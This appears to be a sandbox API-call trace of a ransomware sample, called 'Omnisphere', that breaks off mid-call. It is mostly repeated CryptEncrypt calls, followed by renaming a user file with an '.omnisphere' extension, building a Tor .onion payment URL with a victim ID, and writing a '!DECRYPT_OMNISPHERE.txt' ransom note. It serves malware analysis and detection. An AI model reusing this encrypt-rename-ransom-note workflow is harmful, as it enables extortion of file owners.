dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.290] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.290] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.290] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.290] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.290] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.291] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.291] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.291] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.291] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.291] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.291] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.291] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.291] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.291] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.291] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.291] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.291] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.291] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.291] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.291] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.291] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.291] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.291] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.291] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.291] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.291] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.291] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.291] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.291] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.291] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.291] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.291] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.291] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.292] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.292] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.292] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.292] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.292] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.292] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.292] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.292] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.292] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.292] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.292] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.292] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.292] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.292] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.292] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.292] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.292] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.292] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.292] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.292] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.292] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.292] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.292] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.292] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.292] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.292] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.292] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.292] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.293] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.293] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.293] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.293] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.293] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.293] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.293] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.293] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.293] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.293] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.293] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.293] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.293] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.293] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.293] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.293] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.293] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.293] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.293] CryptDestroyKey (hKey=0x16394e8) returned 1 [0118.293] CryptReleaseContext (hProv=0x1668f88, dwFlags=0x0) returned 1 [0118.293] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x4f5, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0118.293] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0118.293] GetProcessHeap () returned 0x1600000 [0118.294] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2b0) returned 0x16a0ce8 [0118.294] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-tJJk6- Iis.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\-tjjk6- iis.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-tJJk6- Iis.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\-tjjk6- iis.lnk.omnisphere")) returned 1 [0118.294] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-tJJk6- Iis.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-tJJk6- Iis.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-tJJk6- Iis.lnk.omnisphere.id" [0118.294] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-tJJk6- Iis.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\-tjjk6- iis.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0118.295] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0118.295] CloseHandle (hObject=0x3c0) returned 1 [0118.297] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0118.297] CloseHandle (hObject=0x288) returned 1 [0118.297] SetEndOfFile (hFile=0x28c) returned 1 [0118.297] FlushFileBuffers (hFile=0x28c) returned 1 [0118.301] CloseHandle (hObject=0x28c) returned 1 [0118.301] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-tJJk6- Iis.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0118.301] GetProcessHeap () returned 0x1600000 [0118.301] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16a0fa0 [0118.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0118.301] GetProcessHeap () returned 0x1600000 [0118.302] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1693968 [0118.302] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1693968, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0118.302] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0118.302] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0118.302] GetProcessHeap () returned 0x1600000 [0118.302] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1687128 [0118.302] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1687128, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0118.302] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0118.302] GetProcessHeap () returned 0x1600000 [0118.302] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x1631968 [0118.302] PathCombineW (in: pszDest=0x1631968, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0118.302] GetProcessHeap () returned 0x1600000 [0118.302] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x169c310 [0118.302] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.302] WriteFile (in: hFile=0x28c, lpBuffer=0x169c310*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x169c310*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0118.302] CloseHandle (hObject=0x28c) returned 1 [0118.302] GetProcessHeap () returned 0x1600000 [0118.302] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16a0fa0 | out: hHeap=0x1600000) returned 1 [0118.303] GetProcessHeap () returned 0x1600000 [0118.303] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0118.303] PathCombineW (in: pszDest=0x162cec8, 